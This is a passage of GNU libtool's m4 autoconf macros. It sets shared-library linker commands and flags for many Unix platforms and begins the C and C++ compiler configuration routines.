"$with_gnu_ld" = no; then case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' ;; esac else case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' ;; esac fi if test "$with_gnu_ld" = no; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: case $host_cpu in hppa*64*|ia64*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. _LT_TAGVAR(hardcode_minus_L, $1)=yes ;; esac fi ;; irix5* | irix6* | nonstopux*) if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' # Try to use the -exported_symbol ld option, if it does not # work, assume that -exports_file does not work either and # implicitly export all symbols. save_LDFLAGS="$LDFLAGS" LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null" AC_LINK_IFELSE(int foo(void) {}, _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib' ) LDFLAGS="$save_LDFLAGS" else _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib' fi _LT_TAGVAR(archive_cmds_need_lc, $1)='no' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(inherit_rpath, $1)=yes _LT_TAGVAR(link_all_deplibs, $1)=yes ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out else _LT_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; newsos6) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *nto* | *qnx*) ;; openbsd*) if test -f /usr/libexec/ld.so; then _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=yes if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' else case $host_os in openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*) _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' ;; esac fi else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; os2*) _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(archive_cmds, $1)='$ECHO "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$ECHO DATA >> $output_objdir/$libname.def~$ECHO " SINGLE NONSHARED" >> $output_objdir/$libname.def~$ECHO EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' _LT_TAGVAR(old_archive_from_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' ;; osf3*) if test "$GCC" = yes; then _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' else _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' fi _LT_TAGVAR(archive_cmds_need_lc, $1)='no' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: ;; osf4* | osf5*) # as osf3* with the addition of -msym flag if test "$GCC" = yes; then _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' else _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~ $CC -shared${allow_undefined_flag} ${wl}-input ${wl}$lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~$RM $lib.exp' # Both c and cxx compiler support -rpath directly _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' fi _LT_TAGVAR(archive_cmds_need_lc, $1)='no' _LT_TAGVAR(hardcode_libdir_separator, $1)=: ;; solaris*) _LT_TAGVAR(no_undefined_flag, $1)=' -z defs' if test "$GCC" = yes; then wlarc='${wl}' _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' else case `$CC -V 2>&1` in *"Compilers 5.0"*) wlarc='' _LT_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp' ;; *) wlarc='${wl}' _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' ;; esac fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no case $host_os in solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; *) # The compiler driver will combine and reorder linker options, # but understands `-z linker_flag'. GCC discards it without `$wl', # but is careful enough not to reorder. # Supported since Solaris 2.6 (maybe 2.5.1?) if test "$GCC" = yes; then _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' else _LT_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' fi ;; esac _LT_TAGVAR(link_all_deplibs, $1)=yes ;; sunos4*) if test "x$host_vendor" = xsequent; then # Use $CC to link under sequent, because it throws in some extra .o # files that make .init and .fini sections work. _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; sysv4) case $host_vendor in sni) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=yes # is this really true??? ;; siemens) ## LD is ld it makes a PLAMLIB ## CC just makes a GrossModule. _LT_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs' _LT_TAGVAR(hardcode_direct, $1)=no ;; motorola) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie ;; esac runpath_var='LD_RUN_PATH' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; sysv4.3*) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport' ;; sysv4*MP*) if test -d /usr/nec; then _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no runpath_var=LD_RUN_PATH hardcode_runpath_var=yes _LT_TAGVAR(ld_shlibs, $1)=yes fi ;; sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*) _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no runpath_var='LD_RUN_PATH' if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' fi ;; sysv5* | sco3.2v5* | sco5v6*) # Note: We can NOT use -z defs as we might desire, because we do not # link with -lc, and that would cause any symbols used from libc to # always be unresolved, which means just about no library would # ever link correctly. If we're not using GNU ld we use -z text # though, which does catch some bad symbols but isn't as heavy-handed # as -z defs. _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R,$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport' runpath_var='LD_RUN_PATH' if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' fi ;; uts4*) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) _LT_TAGVAR(ld_shlibs, $1)=no ;; esac if test x$host_vendor = xsni; then case $host in sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Blargedynsym' ;; esac fi fi ]) AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)]) test "$_LT_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no _LT_TAGVAR(with_gnu_ld, $1)=$with_gnu_ld _LT_DECL([], [libext], [0], [Old archive suffix (normally "a")])dnl _LT_DECL([], [shrext_cmds], [1], [Shared library suffix (normally ".so")])dnl _LT_DECL([], [extract_expsyms_cmds], [2], [The commands to extract the exported symbol list from a shared archive]) # # Do we need to explicitly link libc? # case "x$_LT_TAGVAR(archive_cmds_need_lc, $1)" in x|xyes) # Assume -lc should be added _LT_TAGVAR(archive_cmds_need_lc, $1)=yes if test "$enable_shared" = yes && test "$GCC" = yes; then case $_LT_TAGVAR(archive_cmds, $1) in *'~'*) # FIXME: we may have to deal with multi-command sequences. ;; '$CC '*) # Test whether the compiler implicitly links with -lc since on some # systems, -lgcc has to come before -lc. If gcc already passes -lc # to ld, don't add -lc before -lgcc. AC_MSG_CHECKING([whether -lc should be explicitly linked in]) $RM conftest* echo "$lt_simple_compile_test_code" > conftest.$ac_ext if AC_TRY_EVAL(ac_compile) 2>conftest.err; then soname=conftest lib=conftest libobjs=conftest.$ac_objext deplibs= wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1) pic_flag=$_LT_TAGVAR(lt_prog_compiler_pic, $1) compiler_flags=-v linker_flags=-v verstring= output_objdir=. libname=conftest lt_save_allow_undefined_flag=$_LT_TAGVAR(allow_undefined_flag, $1) _LT_TAGVAR(allow_undefined_flag, $1)= if AC_TRY_EVAL(_LT_TAGVAR(archive_cmds, $1) 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) then _LT_TAGVAR(archive_cmds_need_lc, $1)=no else _LT_TAGVAR(archive_cmds_need_lc, $1)=yes fi _LT_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag else cat conftest.err 1>&5 fi $RM conftest* AC_MSG_RESULT([$_LT_TAGVAR(archive_cmds_need_lc, $1)]) ;; esac fi ;; esac _LT_TAGDECL([build_libtool_need_lc], [archive_cmds_need_lc], [0], [Whether or not to add -lc for building shared libraries]) _LT_TAGDECL([allow_libtool_libs_with_static_runtimes], [enable_shared_with_static_runtimes], [0], [Whether or not to disallow shared libs when runtime libs are static]) _LT_TAGDECL([], [export_dynamic_flag_spec], [1], [Compiler flag to allow reflexive dlopens]) _LT_TAGDECL([], [whole_archive_flag_spec], [1], [Compiler flag to generate shared objects directly from archives]) _LT_TAGDECL([], [compiler_needs_object], [1], [Whether the compiler copes with passing no objects directly]) _LT_TAGDECL([], [old_archive_from_new_cmds], [2], [Create an old-style archive from a shared archive]) _LT_TAGDECL([], [old_archive_from_expsyms_cmds], [2], [Create a temporary old-style archive to link instead of a shared archive]) _LT_TAGDECL([], [archive_cmds], [2], [Commands used to build a shared archive]) _LT_TAGDECL([], [archive_expsym_cmds], [2]) _LT_TAGDECL([], [module_cmds], [2], [Commands used to build a loadable module if different from building a shared archive.]) _LT_TAGDECL([], [module_expsym_cmds], [2]) _LT_TAGDECL([], [with_gnu_ld], [1], [Whether we are building with GNU ld or not]) _LT_TAGDECL([], [allow_undefined_flag], [1], [Flag that allows shared libraries with undefined symbols to be built]) _LT_TAGDECL([], [no_undefined_flag], [1], [Flag that enforces no undefined symbols]) _LT_TAGDECL([], [hardcode_libdir_flag_spec], [1], [Flag to hardcode $libdir into a binary during linking. This must work even if $libdir does not exist]) _LT_TAGDECL([], [hardcode_libdir_flag_spec_ld], [1], [[If ld is used when linking, flag to hardcode $libdir into a binary during linking. This must work even if $libdir does not exist]]) _LT_TAGDECL([], [hardcode_libdir_separator], [1], [Whether we need a single "-rpath" flag with a separated argument]) _LT_TAGDECL([], [hardcode_direct], [0], [Set to "yes" if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the resulting binary]) _LT_TAGDECL([], [hardcode_direct_absolute], [0], [Set to "yes" if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the resulting binary and the resulting library dependency is "absolute", i.e impossible to change by setting ${shlibpath_var} if the library is relocated]) _LT_TAGDECL([], [hardcode_minus_L], [0], [Set to "yes" if using the -LDIR flag during linking hardcodes DIR into the resulting binary]) _LT_TAGDECL([], [hardcode_shlibpath_var], [0], [Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into the resulting binary]) _LT_TAGDECL([], [hardcode_automatic], [0], [Set to "yes" if building a shared library automatically hardcodes DIR into the library and all subsequent libraries and executables linked against it]) _LT_TAGDECL([], [inherit_rpath], [0], [Set to yes if linker adds runtime paths of dependent libraries to runtime path list]) _LT_TAGDECL([], [link_all_deplibs], [0], [Whether libtool must link a program against all its dependency libraries]) _LT_TAGDECL([], [fix_srcfile_path], [1], [Fix the shell variable $srcfile for the compiler]) _LT_TAGDECL([], [always_export_symbols], [0], [Set to "yes" if exported symbols are required]) _LT_TAGDECL([], [export_symbols_cmds], [2], [The commands to list exported symbols]) _LT_TAGDECL([], [exclude_expsyms], [1], [Symbols that should not be listed in the preloaded symbols]) _LT_TAGDECL([], [include_expsyms], [1], [Symbols that must always be exported]) _LT_TAGDECL([], [prelink_cmds], [2], [Commands necessary for linking programs (against libraries) with templates]) _LT_TAGDECL([], [file_list_spec], [1], [Specify filename containing input files]) dnl FIXME: Not yet implemented dnl _LT_TAGDECL([], [thread_safe_flag_spec], [1], dnl [Compiler flag to generate thread safe objects]) ])# _LT_LINKER_SHLIBS # _LT_LANG_C_CONFIG([TAG]) # ------------------------ # Ensure that the configuration variables for a C compiler are suitably # defined. These variables are subsequently used by _LT_CONFIG to write # the compiler configuration to `libtool'. m4_defun([_LT_LANG_C_CONFIG], [m4_require([_LT_DECL_EGREP])dnl lt_save_CC="$CC" AC_LANG_PUSH(C) # Source file extension for C test sources. ac_ext=c # Object file extension for compiled C test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # Code to be used in simple compile tests lt_simple_compile_test_code="int some_variable = 0;" # Code to be used in simple link tests lt_simple_link_test_code='int main(){return(0);}' _LT_TAG_COMPILER # Save the default compiler, since it gets overwritten when the other # tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP. compiler_DEFAULT=$CC # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE if test -n "$compiler"; then _LT_COMPILER_NO_RTTI($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) LT_SYS_DLOPEN_SELF _LT_CMD_STRIPLIB # Report which library types will actually be built AC_MSG_CHECKING([if libtool supports shared libraries]) AC_MSG_RESULT([$can_build_shared]) AC_MSG_CHECKING([whether to build shared libraries]) test "$can_build_shared" = "no" && enable_shared=no # On AIX, shared libraries and static libraries use the same namespace, and # are all built from PIC. case $host_os in aix3*) test "$enable_shared" = yes && enable_static=no if test -n "$RANLIB"; then archive_cmds="$archive_cmds~\$RANLIB \$lib" postinstall_cmds='$RANLIB $lib' fi ;; aix[[4-9]]*) if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then test "$enable_shared" = yes && enable_static=no fi ;; esac AC_MSG_RESULT([$enable_shared]) AC_MSG_CHECKING([whether to build static libraries]) # Make sure either enable_shared or enable_static is yes. test "$enable_shared" = yes || enable_static=yes AC_MSG_RESULT([$enable_static]) _LT_CONFIG($1) fi AC_LANG_POP CC="$lt_save_CC" ])# _LT_LANG_C_CONFIG # _LT_PROG_CXX # ------------ # Since AC_PROG_CXX is broken, in that it returns g++ if there is no c++ # compiler, we have our own version here. m4_defun([_LT_PROG_CXX], [ pushdef([AC_MSG_ERROR], [_lt_caught_CXX_error=yes]) AC_PROG_CXX if test -n "$CXX" && ( test "X$CXX" != "Xno" && ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) || (test "X$CXX" != "Xg++"))) ; then AC_PROG_CXXCPP else _lt_caught_CXX_error=yes fi popdef([AC_MSG_ERROR]) ])# _LT_PROG_CXX dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([_LT_PROG_CXX], []) # _LT_LANG_CXX_CONFIG([TAG]) # -------------------------- # Ensure that the configuration variables for a C++ compiler are suitably # defined. These variables are subsequently used by _LT_CONFIG to write # the compiler configuration to `libtool'. m4_defun([_LT_LANG_CXX_CONFIG], [AC_REQUIRE([_LT_PROG_CXX])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_EGREP])dnl AC_LANG_PUSH(C++) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(compiler_needs_object, $1)=no _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds _LT_TAGVAR(no_undefined_flag, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no # Source file extension for C++ test sources. ac_ext=cpp # Object file extension for compiled C++ test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # No sense in running all these tests if we already determined that # the CXX compiler isn't working. Some variables (like enable_shared) # are currently assumed to apply to all compilers on this platform, # and will be corrupted by setting them based on a non-working compiler. if test "$_lt_caught_CXX_error" != yes; then # Code to be used in simple compile tests lt_simple_compile_test_code="int some_variable = 0;" # Code to be used in simple link tests lt_simple_link_test_code='int main(int, char *[[]]) { return(0); }' # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC=$CC lt_save_LD=$LD lt_save_GCC=$GCC GCC=$GXX lt_save_with_gnu_ld=$with_gnu_ld lt_save_path_LD=$lt_cv_path_LD if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx else $as_unset lt_cv_prog_gnu_ld fi if test -n "${lt_cv_path_LDCXX+set}"; then lt_cv_path_LD=$lt_cv_path_LDCXX else $as_unset lt_cv_path_LD fi test -z "${LDCXX+set}" || LD=$LDCXX CC=${CXX-"c++"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) if test -n "$compiler"; then # We don't want -fno-exception when compiling C++ code, so set the # no_builtin_flag separately if test "$GXX" = yes; then _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' else _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= fi if test "$GXX" = yes; then # Set up default GNU C++ configuration LT_PATH_LD # Check if GNU C++ uses GNU ld as the underlying linker, since the # archiving commands below assume that GNU ld is being used. if test "$with_gnu_ld" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' # If archive_cmds runs LD, not CC, wlarc should be empty # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to # investigate it a little bit more. (MM) wlarc='${wl}' # ancient GNU ld didn't support --whole-archive et. al. if eval "`$CC -print-prog-name=ld` --help 2>&1" | $GREP 'no-whole-archive' > /dev/null; then _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' else _LT_TAGVAR(whole_archive_flag_spec, $1)= fi else with_gnu_ld=no wlarc= # A generic and very simple default shared library creation # command for GNU C++ for the case where it uses the native # linker, instead of GNU ld. If possible, this setting should # overridden to take advantage of the native linker features on # the platform it is being used on. _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' fi # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' else GXX=no with_gnu_ld=no wlarc= fi # PORTME: fill in a description of your system's C++ link characteristics AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) _LT_TAGVAR(ld_shlibs, $1)=yes case $host_os in aix3*) # FIXME: insert proper C++ library 